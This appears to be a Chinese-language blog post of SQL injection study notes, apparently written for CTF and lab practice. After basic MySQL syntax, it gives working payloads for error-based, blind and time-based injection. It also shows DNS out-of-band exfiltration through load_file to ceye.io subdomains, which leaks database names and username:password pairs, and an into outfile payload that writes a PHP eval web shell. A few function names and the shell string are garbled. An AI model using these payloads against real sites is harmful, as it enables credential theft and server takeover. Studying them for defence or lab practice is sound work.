sql注入学习

基础查询语句:

复制代码
给指定字段添加数据
insert into 表名(字段名1,字段名2,.....) values(值1,值2,......);
给全部字段添加数据
insert into 表名 values (值1,值2,.....);

--无限制条件的修改,会修改整张表
update 表名 set 字段 = 值;
--有限制条件的修改,只修改特定记录
update 表名 set 字段 = 值 where 条件(字段 = 值);

replace
要确定表中是否已存在新行,MySQL使用PRIMARY KEY或UNIQUE KEY 索引。如果表没有这些索引之一,则REPLACE语句等同于INSERT语句。
replace into 表名 VALUES(6,'wokou','新九州岛','日本')
sql 复制代码
select + 列名 from +表名 where +限制 
select * from users where name in ('zxp');  //查询所有name ='zxp'  

1为填充列,union查询后边查询的列必须和前边的列相等
select * from users where id=6 union select *,1 from emails where id=6;

由于页面只会回显一行,则需要将前边语句不成立,union查询的结果便会显示
select * from use where id=-1 union select 1,2,3#查询三列


group by进行分组,分组不能超过查询的列数,2 3 为填充列
select name,2,3 from user  group by 2  按第3列分组

order 按照第几列进行排序
select name,2,3 from user  group by 1 按照第一列排序

limit 限制输出行数
select * from user limit 0,3 从第一行开始输出3行

一、报错注入:

substr

1.extractvalue:注意

extractvalue updatexml都只能显示最多32个字符

需要用substr mid 截取

extractvalue() 第一个参数 XML文档名称 ,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml

如果路径的第一个字符错了,就会报错

sql 复制代码
?id=0'union select 1,2,extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,30)
from information_schema.schemata)))--+

2.updatexml(xml_document,xpath_string,new_value)

sql 复制代码
select undatexml(doc,'/book/auther/surname','1') from xml
更改路径的符号会报错
select undatexml(doc,'~book/auther/surname','1') from xml

如果没有用group_concat需要用limit 控制输出第几行

sql 复制代码
?id=1")union select 1,2,updatexml(1,concat(0x7e,(select mid(schema_name,1,30) from information_schema.schemata limit 0,1), 0x7e),1)--+

3.floor

rand()返回0~1间的小数

floor向下取整 ceiling向上取整

concat_ws() 将括号里的数据用第一个字段连接起来

as 用于取别名

count() 汇总统计数量

java 复制代码
?id=0" union select 1,count(*),concat_ws('-',(select substr(group_concat(table_name),1,30)
from information_schema.tables where table_schema='ctftraining'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
from information_schema.tables这个是为了让行数多一点,

4.DNS外带

dnslog带外注入需要有文件读取的操作权限才能进行。

仅限于windos环境

复制代码
?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+

?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

复制代码
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

二、盲注

1.布尔盲注

java 复制代码
?id=1'and ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>40--+

2.时间盲注

java 复制代码
?id=1'and if( ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>410,sleep(0),sleep(2))--+

三 、文件写入

1.into outfile

需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。

java 复制代码
查看是否有写入权限
show variables like '%secure%'
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出

当值被设置为NULL时,禁止导入导出功能
使用条件
  • root权限

  • GPC关闭(能使用单引号)

  • 有绝对路径(读文件可以不用,写文件必须)

  • 没有配置---secure-file-priv

java 复制代码
?id=-1')) union select 1,2,"<?php @eval($_POST['password');?" into outfile "/var/www/html1.php"--+

三.DNS外带

相关推荐
平头哥AI4 分钟前
Day 22 _ 包装错误别丢链_%w、errors.Is 与 errors.As
android·服务器·学习·golang·go
一阵寒风18 分钟前
CAM智能化助力PCB 智能制造-培训体系第六章.项目开发学习
学习·制造
传奇开心果编程37 分钟前
【Xilem 0.4 基础语法学与练】第15课:状态管理与 memoize 性能优化
学习·rust·前端框架
具身AGI1 小时前
视频即仿真,物理AI 人类学习路线 的下一步
人工智能·学习
troy1282 小时前
向量数据库选型指南:Milvus / Qdrant / Chroma / pgvector
数据库·milvus
wuyk5552 小时前
从零吃透 MQTT 通信|第 8 章 FreeRTOS 多任务架构下 MQTT 工程架构,任务拆分、队列解耦、临界区保护
c语言·开发语言·stm32·学习·架构
彧azz2 小时前
Redis 全面指南:从核心概念到高可用架构实战
数据库·redis·架构
陈年老古董2 小时前
PyTorch食物图像分类实战:从数据集制作到CNN模型训练全流程详解
pytorch·深度学习·学习·机器学习·分类·cnn
明志数科2 小时前
从300克Ego头环看第一人称数据采集趋势:设备轻量化之后,场景端壁垒在哪
数码相机·学习
笨鸟先飞的橘猫3 小时前
系统设计第十七天决策卡
学习·游戏